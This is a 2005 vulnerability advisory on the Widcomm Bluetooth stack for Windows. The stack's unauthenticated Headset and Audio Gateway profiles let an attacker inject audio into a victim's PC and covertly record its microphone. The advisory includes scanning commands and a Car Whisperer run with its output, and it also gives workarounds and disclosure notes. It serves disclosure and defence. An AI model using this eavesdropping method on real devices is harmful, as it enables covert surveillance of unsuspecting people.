DMA[2005-1214a] - 'Widcomm BTW - Bluetooth for Windows Remote Audio Eavesdropping'
Author: Kevin Finisterre
Vendor: http://www.widcomm.com, http://www.broadcom.com/products/Bluetooth/
Product: 'versions <= BTW 4.0.1.1500 ?'
References: http://www.digitalmunition.com/DMA[2005-1214a].txt

Description:
When my Bluetooth fetish first began one of the first things I attempted to exploit 
was the Widcomm Audio Gateway and Headset profiles. My early attempts involved trying
to connect to a remote headset profile in order to use sndrec32 to record from
the microphone (using the Sounds and Audio Devices control panel applet 
to set the Sound recording Default device to 'Bluetooth Audio'). For the longest time
I could not understand why pressing the record button on sndrec32 returned nothing 
but an empty .wav file. Despite multiple attempts to record from the microphone on a
target system, I was unable to capture any audio.

Over this past weekend I purchased a GoldLantern Supertalk Wireless Hands Free Kit
for use in testing Car Whisperer [1].  After successfully playing an assortment of 
converted .wav files over GoldLantern device with Car Whisperer, I decided it would 
be nice to be able to do something similar in the win32 world. 

After some experimentation with the SkypeHeadset plugin [2] it became clear to me
why simply setting my default recording device to 'Bluetooth Audio' had no effect; 
before attempting to read from the microphone it is necessary to send a  'RING'
message to the headset profile! In theory, running the carwhisperer binary against
a Windows machine running the Widcomm stack should result in a remote eavesdropping 
attack. 

The reason that my previous attempts at exploiting the Widcomm Audio Gateway and
Headset profile failed was more apparant now. While traditional hands free kits use
channel 1 and a specific device class, the Widcomm drivers use channel 7 and a
device class os 0x72010c:

kfinisterre01:/home/kfinisterre$ tar xzf carwhisperer-0.1.tar.gz
kfinisterre01:/home/kfinisterre$ cd carwhisperer-0.1
kfinisterre01:/home/kfinisterre/carwhisperer-0.1$ grep hcitool . -r
./cw_scanner:  open HCITOOL , "hcitool -i hci0 inq --flush | grep 0x200 |";

The cw_scanner script that comes with Car Whisperer uses the BlueZ [3] hcitool
utility to run an inquiry against the device, returning only lines that match the
string "0x200", corresponding to the Hands Free Audio Gateway and Headset profile.
Querying the Widcomm Audio Gateway profile indicates a different device class:

kfinisterre01:/home/kfinisterre$ hcitool inq
Inquiring ...
        00:0A:3A:54:71:95       clock offset: 0x3dec    class: 0x72010c

As you can see above, the cw_scanner script would ignore my laptop because of the
device class used for the Audio Gateway profile. A quick sdptool search reveals 
that my device has a valid Headset Profile waiting to be exploited:
  
kfinisterre01:/home/kfinisterre/carwhisperer-0.1$ sdptool search HS
Inquiring ...
Searching for HS on 00:0A:3A:54:71:95 ...
Service Name: Headset
Service RecHandle: 0x10009
Service Class ID List:
  "Headset" (0x1108)
  "Generic Audio" (0x1203)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
    Channel: 7
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
Profile Descriptor List:
  "Headset" (0x1108)
    Version: 0x0100


Further analysis indicates that both my Belkin Bluetooth Software 1.4.2 Build 10 
and my ANYCOM Blue USB-130-250 Software 4.0.1.1500 have the following registry keys:

HKLM\SOFTWARE\Widcomm\BTConfig\Services\008\   (HeadSet)
HKLM\SOFTWARE\Widcomm\BTConfig\Services\009\   (Audio Gateway)

Both keys have an Authentication and Authorization value set to 0x00000000 by 
default. This setting allows anyone to remotely inject audio into a victim's PC
speakers, as well as remotely monitor audio via the microphone. 

Had Martin Herfurt not written Car Whisperer this attack most likely would not have 
materialized. Using Martins tool is the simplest way to demonstrate this 
vulnerability against the Widcomm Bluetooth Stack. However, minor modifications to the
Car Whisperer code were necessary to eliminiate an issue with random static by issuing
the AT command: "AT+CASR=0", as well as some additional debugging messages for clarity.
The example below demonstrates the use of Car Whisperer against the Widcomm Audio 
Gateway profile:

animosity:/home/kfinisterre/carwhisperer-0.1-verbose# ./carwhisperer 0 
samples/message.raw aa 00:0B:0D:63:0B:CC 7
Voice setting: 0x0060
RFCOMM channel connected
SCO audio channel connected (handle 44, mtu 64)
Sleeping
RING buffer: AT+VGS=15
looping buffer: AT+CKPD=200

At this point the remote machine is playing the sample message distributed with Car
Whisperer (message.raw) while recording any audio present on the victim's microphone
to a local audio file on the attacker's machine.

Obviously, if the target computer is equiped with a microphone signifigant, privacy 
issues could arise due to this vulnerability.  It is trivial for an attacker to make
a target system with the exposed Widcomm Audio Gateway profile to play any audio he
desires, without having to supply a PIN or any other authentication credentials first.

Also note that injection of audio is an optional task; covert microphone monitoring 
is also possible without having to notify the victim by playing an audio file.

Workaround(s):
Option 1: Remove Bluetooth dongle. =] 

Option 2: This vulnerability can be mitigated by requiring authentication for the
    Headset Audio Gateway profile:
    
      - Right click on the Bluetooth icon in your systray 
      - Select "Advanced Configuration"
      - Click "Local Services"
      - Highlight the Headset profile and click properties
      - Enable the the check box next to Secure Connection to require a PIN
        when connecting to this profiile.
        
    Repeat these steps for the Audio Gateway profile as well.

Option 3: Contact the vendor of your Bluetooth dongle for updated software from
    Widcomm.  Unfortunately, due to licensing requirements in place between
    Broadcom/Widcomm and Bluetooth dongle vendors, it is not currently possible
    to upgrade faulty driver code without purchasing a new dongle.  Only through
    complaining about this business practice can we attempt to motivate change at
    Broadcom to provide security fixes to customers at no cost.

Disclosure:
Despite multiple calls to Broadcom engineering to report this vulnerability, I was 
unable to identify anyone who would talk to me regarding security failures in the 
Widcomm drivers. "We do not do tech support" seemed to be the Broadcom mantra from 
multiple individuals who I spoke to regarding this particular Bluetooth vulnerability. 
Beyond my own attempts at disclosure it is very likely that this issue was also 
reported to Widcomm by Pentest Limited[4] when the original batch of issues was found. 


An extra special thanks goes to "that dude" in the Vigilar CISSP bootcamp that my boy 
ri0t took. You my friend were the inspiration for this article... "I use that Widcomm 
Bluetooth Software. It's pretty secure... I don't think that it has alot of problems". 

Unauthorized whispering kicks ass!

[1] Car Whisperer, http://trifinite.org/trifinite_stuff_carwhisperer.html
[2] SkypeHeadset, http://www.skypeheadset.co.uk/
[3] BlueZ, http://www.bluez.org/
[4] The original Widcomm Pimps, http://www.pentest.co.uk/